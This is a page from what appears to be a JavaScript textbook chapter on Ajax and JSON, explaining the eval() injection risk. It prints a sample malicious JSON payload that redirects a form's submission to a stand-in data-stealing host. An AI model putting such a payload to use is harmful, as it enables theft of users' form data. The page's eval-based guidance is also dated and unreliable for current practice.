04.11.2015 Views

javascript

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Chapter 17: Ajax and JSON<br />

(continued)<br />

}<br />

}<br />

};<br />

xhr.open(“post”, “addcontact.php”, true);<br />

xhr.send(JSON.stringify(contact));<br />

In this code, a new contact is saved to the server, sending the data to the addcontact.php file. The<br />

contact object is constructed with the new information and then serialized into JSON data that is<br />

passed into the send() method. The PHP page is responsible for parsing the JSON data back into a<br />

format that the server - side code can understand and sending a response to the browser.<br />

ECMAScript 3.1 formally introduces native support for JSON parsing and serialization. ECMAScript 3.1<br />

is covered in Chapter 22 .<br />

Security<br />

Although the speed of JSON evaluation is a major benefit, JSON also has a major downside: it uses<br />

eval() . The eval() function is designed to interpret JavaScript code, not just to parse JSON, so it opens<br />

a potentially huge security hole. A malicious programmer can inject into an expected JSON structure<br />

JavaScript code that will be executed once passed through eval() . Consider this example:<br />

[ 1, 2, (function(){<br />

//sets a form’s action to a different URL<br />

document.forms[0].action = “http://path.to.a.bad.com/stealdata.php”;<br />

})(), 3, 4]<br />

In this code, an anonymous function is included as part of the text response. The function changes the<br />

action of the first form on the page, so the form submission happens to a different server than it should.<br />

This is an XSS attack that is possible when JSON isn ’ t filtered before being passed to eval() . The danger<br />

is that any JavaScript returned from the server that is passed into eval() is evaluated in the context of<br />

the page, eliminating all security mechanisms that typically exist between resources. The script is run as<br />

if it were a first - class member of the page, so it has access to everything on the page.<br />

Crockford ’ s JavaScript JSON library parses JSON strings properly to ensure that they don ’ t contain<br />

malicious code before evaluating into a JavaScript object. This library or others like it should always be<br />

used when dealing with JSON data transmission to mitigate the chance of an XSS attack through code<br />

injection.<br />

Generally speaking, you should never pass JavaScript code returned from the server<br />

into eval() . There are too many possibilities for malicious interception and injection<br />

of code, whether you’re using JSON or JavaScript. Any data received from the server<br />

should always be investigated properly and verified before passing to eval() .<br />

586

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!